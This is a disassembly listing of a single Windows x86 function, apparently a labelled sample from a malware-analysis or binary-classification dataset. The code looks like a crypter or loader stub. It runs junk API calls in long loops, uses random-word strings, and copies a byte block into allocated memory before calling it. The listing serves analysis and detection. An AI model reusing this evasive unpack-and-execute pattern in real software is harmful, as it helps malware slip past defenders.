Function at 0x401370
Capabilities:
Delete directory
Get disk information
Move file

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x421f68
push eax
mov eax, 0x102c
mov dword fs:[0], esp
call fcn.00409aa0
mov eax, dword [0x848224]
push ebx
push esi
push edi
cmp eax, 0x93
jne 0x40140d
push str.wolirocoli_wahigomah_zileruruvivudebowi_xibugupejimideko
push str.kufutuhun_yihijopiruharavasowepavasiju_pawojumefijo
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.farasedez_sesuziximeniwukahemovuto_wojuwutehibatemibubekomap
push str.fozakigapuwineji_vopaz
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea eax, [ebp - 0x38]
call fcn.004016f0
push 0
mov dword [ebp - 4], 0
call fcn.00401b94
add esp, 4
push 0
push 0
call fcn.00401b07
push 0
push 0
call fcn.004019c8
push 0
push 0
call fcn.00401b07
add esp, 0x18
push 0
call fcn.00401eb0
mov ecx, dword [0x428c40]
add eax, 0x1134b
push eax
push 0
mov dword [0x848c88], ecx
mov dword [0x848224], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x847bd8], eax
call fcn.004012b0
xor esi, esi
cmp dword [0x848224], esi
jbe 0x40149f
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
lea esp, [esp]
mov edx, dword [0x848c88]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x847bd8]
mov byte [ecx + esi], al
cmp dword [0x848224], 0x490
jne 0x401496
push str.wamudofi
push 0
call ebx
push 0
lea edx, [ebp - 0x10]
push edx
call edi
push str.kecodojuvigex_feleniwegobefusevamatocod_bip_foxowicaducujisacozetojufapove
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
inc esi
cmp esi, dword [0x848224]
jb 0x401450
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
xor eax, eax
mov dword [ebp - 0x10], eax
mov ecx, dword [0x848224]
add ecx, eax
cmp ecx, 0x8d
jne 0x401528
push str.xuyif
call esi
push 0
push 0
push 0
push 0
push 0
call edi
push 0
lea edx, [ebp - 0x1c]
push edx
push 0
lea eax, [ebp - 0x438]
push eax
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x14]
push ecx
push 0
push str.sikedanaziyacixobi_herevolibekolehecehajapubuco_nehubitivuvorunuhowivo_gecata
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x38681
mov dword [ebp - 0x10], eax
jl 0x4014b6
call fcn.00401230
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push 0
call edi
cmp esi, 0x62
jne 0x40154e
call fcn.00401290
inc esi
cmp esi, 0x674db
jl 0x401540
mov esi, dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov ebx, dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
mov dword [ebp - 0x14], 0x7b
cmp dword [0x848224], 0x86
jne 0x4015b5
push 0
lea edx, [ebp - 0x1038]
push edx
push str.jotokimitifipawuy
call esi
lea eax, [ebp - 0x838]
push eax
push 0
push str.Zafiwalijija_gojajeseca_ruxutomikamuj_veyus
call edi
xor edx, edx
xor ecx, ecx
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x10], cx
mov word [ebp - 0xe], dx
mov ecx, dword [ebp - 0x10]
push ecx
push edx
push edx
push edx
call ebx
sub dword [ebp - 0x14], 1
jne 0x401570
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x847bd8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret